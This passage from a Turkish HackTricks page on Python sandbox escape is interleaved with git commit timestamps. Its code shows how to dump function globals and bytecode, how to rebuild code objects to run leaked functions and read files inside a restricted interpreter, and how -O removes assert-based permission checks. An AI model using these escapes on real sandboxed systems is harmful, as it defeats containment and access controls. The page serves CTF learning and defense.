2020-07-15 15:43:14 +00:00
```
2022-07-02 18:05:33 +00:00
#### dir
2020-07-15 15:43:14 +00:00
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
2022-07-02 18:05:33 +00:00
#### globals
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
`__globals__` ve `func_globals` (Aynı ) Global ortamı elde eder. Örnekte, bazı içe aktarı lan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
2020-07-15 15:43:14 +00:00
```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': < module ' __builtin__ ' ( built-in ) > , 'codeobj': < code object < module > at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': < function get_flag at 0x7f58c00b27d0 > , 'filename': './poc.py', '__package__': None, 'read': < function read at 0x7f58c00b23d0 > , 'code': < type ' code ' > , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': < unbound method catch_warnings . __init__ > , '__name__': '__main__', 'foo': < function foo at 0x7f58c020eb50 > , '__doc__': None, 'dis': < module ' dis ' from '/ usr / lib / python2 . 7 / dis . pyc ' > }
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
2024-03-09 13:19:34 +00:00
[**Daha fazla global değişken elde etmek için buraya bakı n** ](./#globals-and-locals )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### **Fonksiyon koduna erişim**
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
**`__code__`** ve `func_code` : Fonksiyonun bu **özelliğine erişebilirsiniz** ve fonksiyonun kod nesnesini **elde edebilirsiniz** .
2020-07-15 15:43:14 +00:00
```python
2021-10-06 13:23:46 +00:00
# In our current example
get_flag.__code__
< code object get_flag at 0x7f9ca0133270 , file " < stdin > ", line 1
# Compiling some python code
compile("print(5)", "", "single")
< code object < module > at 0x7f9ca01330c0, file "", line 1>
2022-09-12 21:12:49 +00:00
#Get the attributes of the code object
2021-10-06 13:23:46 +00:00
dir(get_flag.__code__)
2020-07-15 15:43:14 +00:00
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
2021-10-06 13:23:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Kod Bilgisi Almak
2021-10-06 13:23:46 +00:00
```python
2022-05-01 12:41:36 +00:00
# Another example
2021-10-06 13:23:46 +00:00
s = '''
a = 5
b = 'text'
def f(x):
2024-02-10 18:14:16 +00:00
return x
2021-10-06 13:23:46 +00:00
f(5)
'''
c=compile(s, "", "exec")
2021-10-06 15:44:17 +00:00
# __doc__: Get the description of the function, if any
print.__doc__
2021-10-06 13:23:46 +00:00
# co_consts: Constants
get_flag.__code__.co_consts
2020-07-15 15:43:14 +00:00
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
2021-10-06 13:23:46 +00:00
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', < code object f at 0x7f9ca0133540 , file " " , line 4 > , 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
2020-07-15 15:43:14 +00:00
#Get bytecode
2021-10-06 13:23:46 +00:00
get_flag.__code__.co_code
2020-07-15 15:43:14 +00:00
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
2024-03-09 13:19:34 +00:00
### **Fonksiyonu Ayrı ştı rma**
2024-02-10 18:14:16 +00:00
```python
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
2024-03-09 13:19:34 +00:00
Dikkat edin ki, eğer python kum havuzunda `dis` i içe aktaramazsanı z, fonksiyonun **bytecode** 'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz** . Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) `get_flag.func_code.co_consts` den tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini belirtir.
2020-07-15 15:43:14 +00:00
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
2024-02-10 18:14:16 +00:00
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:19:34 +00:00
## Python Derlemesi
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
Şimdi, bir fonksiyon hakkı nda bilgi alabileceğinizi ancak çalı ştı ramayacağı nı zı hayal edelim, ama onu **çalı ştı rmanı z gerekiyor** .\
Aşağı daki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz** , ancak disassemble'ı okuyarak bayrağı nası l hesaplayacağı nı zı **bilmiyorsunuz** (_daha karmaşı k bir `calc_flag` fonksiyonunu hayal edin_).
2021-10-06 14:43:31 +00:00
```python
def get_flag(some_input):
2024-02-10 18:14:16 +00:00
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
2021-10-06 14:43:31 +00:00
```
2024-02-10 18:14:16 +00:00
### Kod nesnesi oluşturma
2021-10-06 14:43:31 +00:00
2024-03-09 13:19:34 +00:00
İlk olarak, **bir kod nesnesi oluşturup yürütmeyi** nası l yapacağı mı zı bilmemiz gerekiyor, böylece sı zdı rı lmı ş işlevimizi yürütmek için bir tane oluşturabiliriz:
2021-10-06 14:43:31 +00:00
```python
code_type = type((lambda: None).__code__)
2022-04-27 12:34:57 +00:00
# Check the following hint if you get an error in calling this
2021-10-06 14:43:31 +00:00
code_obj = code_type(co_argcount, co_kwonlyargcount,
2024-02-10 18:14:16 +00:00
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
2021-10-06 14:43:31 +00:00
# Execution
eval(code_obj) #Execute as a whole script
2022-05-01 12:41:36 +00:00
# If you have the code of a function, execute it
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
2022-04-27 12:34:57 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Python sürümüne bağlı olarak `code_type` 'ı n **parametreleri** farklı bir **sı raya** sahip olabilir. Çalı ştı rdı ğı nı z python sürümündeki parametre sı rası nı öğrenmenin en iyi yolu şudur:
2022-04-27 12:34:57 +00:00
```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
```
{% endhint %}
2024-02-10 18:14:16 +00:00
### Sı zdı rı lan bir fonksiyonun yeniden oluşturulması
2021-10-06 14:43:31 +00:00
{% hint style="warning" %}
2024-03-09 13:19:34 +00:00
Aşağı daki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağı z. **Gerçek bir örnekte** , fonksiyonu yürütmek için gereken tüm **değerlerin** sı zdı rmanı z gereken şey olduğunu unutmayı n.
2021-10-06 14:43:31 +00:00
{% endhint %}
```python
fc = get_flag.__code__
2021-10-06 15:45:31 +00:00
# In a real situation the values like fc.co_argcount are the ones you need to leak
2021-10-06 14:43:31 +00:00
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
2021-10-06 15:45:31 +00:00
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
2024-03-09 13:19:34 +00:00
### Savunmaları Atlatma
2021-10-06 14:43:31 +00:00
2024-03-09 13:19:34 +00:00
Bu yazı nı n başlangı cı ndaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nası l çalı ştı racağı nı zı ** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satı rda** çalı ştı rabilirsiniz (ve aynı sı nı ** `exec` ** kullanarak yapabilirdik).\
Neyse ki, bazen yerel bir makinede **derlenmiş bir nesne oluşturmak** ve bunu **CTF makinesinde** çalı ştı rmak faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadı ğı mı z için).
2021-10-06 14:43:31 +00:00
2024-03-09 13:19:34 +00:00
Örneğin, _./poc.py_ dosyası nı okuyan bir fonksiyonu manuel olarak derleyip çalı ştı ralı m:
2021-10-06 14:43:31 +00:00
```python
#Locally
def read():
2024-02-10 18:14:16 +00:00
return open("./poc.py",'r').read()
2021-10-06 14:43:31 +00:00
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```
```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get < type ' type ' >
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '< module > ', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '< module > ', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
2024-03-09 13:19:34 +00:00
Eğer `eval` veya `exec` 'e erişim sağlayamı yorsanı z, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağı rmak genellikle başarı sı z olacaktı r: _sı nı rlı modda constructor erişilemez_ . Bu nedenle, bu fonksiyonu çağı rmak için **sı nı rlı ortamda olmayan bir fonksiyona ihtiyacı nı z vardı r.**
2021-10-06 14:43:31 +00:00
```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
2024-03-09 13:19:34 +00:00
## Derlenmiş Python Kodunu Geri Çözme
2021-10-06 14:43:31 +00:00
2024-03-09 13:19:34 +00:00
[**https://www.decompiler.com/** ](https://www.decompiler.com ) gibi araçlar kullanı larak verilen derlenmiş python kodu **geri çözülebilir** .
2021-12-24 01:52:37 +00:00
2024-03-09 13:19:34 +00:00
**Bu öğreticiye göz atı n**:
2021-12-24 01:52:37 +00:00
2022-05-01 16:04:05 +00:00
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md ](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md )
2021-12-24 01:52:37 +00:00
{% endcontent-ref %}
2024-03-09 13:19:34 +00:00
## Çeşitli Python
2021-12-24 01:52:37 +00:00
2022-07-02 18:05:33 +00:00
### Assert
2021-12-24 01:52:37 +00:00
2024-03-09 13:19:34 +00:00
Python, `-O` parametresi ile optimize edilerek çalı ştı rı ldı ğı nda, **debug** değerine bağlı olarak yapı lan asset ifadelerini ve kodu kaldı racaktı r.\
Bu nedenle, şu gibi kontroller:
2021-12-24 01:52:37 +00:00
```python
def check_permission(super_user):
2024-02-10 18:14:16 +00:00
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
2021-12-24 01:52:37 +00:00
```
2024-02-10 18:14:16 +00:00
## Referanslar
2020-07-15 15:43:14 +00:00
* [https://lbarman.ch/blog/pyjail/ ](https://lbarman.ch/blog/pyjail/ )
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ ](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ )
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/ ](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/ )
2021-11-23 09:46:40 +00:00
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape ](https://gynvael.coldwind.pl/n/python\_sandbox\_escape )
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html ](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html )
2021-12-24 01:52:37 +00:00
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6 ](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6 )
2022-04-28 16:01:33 +00:00
2023-09-02 23:48:41 +00:00
***
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:19:34 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-09 13:19:34 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:23 +00:00
2024-03-09 13:19:34 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-03-09 13:19:34 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'i keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* 💬 **Discord grubuna** katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )'da **takip edin** .
* **Hacking püf noktaları nı zı göndererek PR'ler aracı lı ğı yla** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **paylaşı n** .
2022-04-28 16:01:33 +00:00
< / details >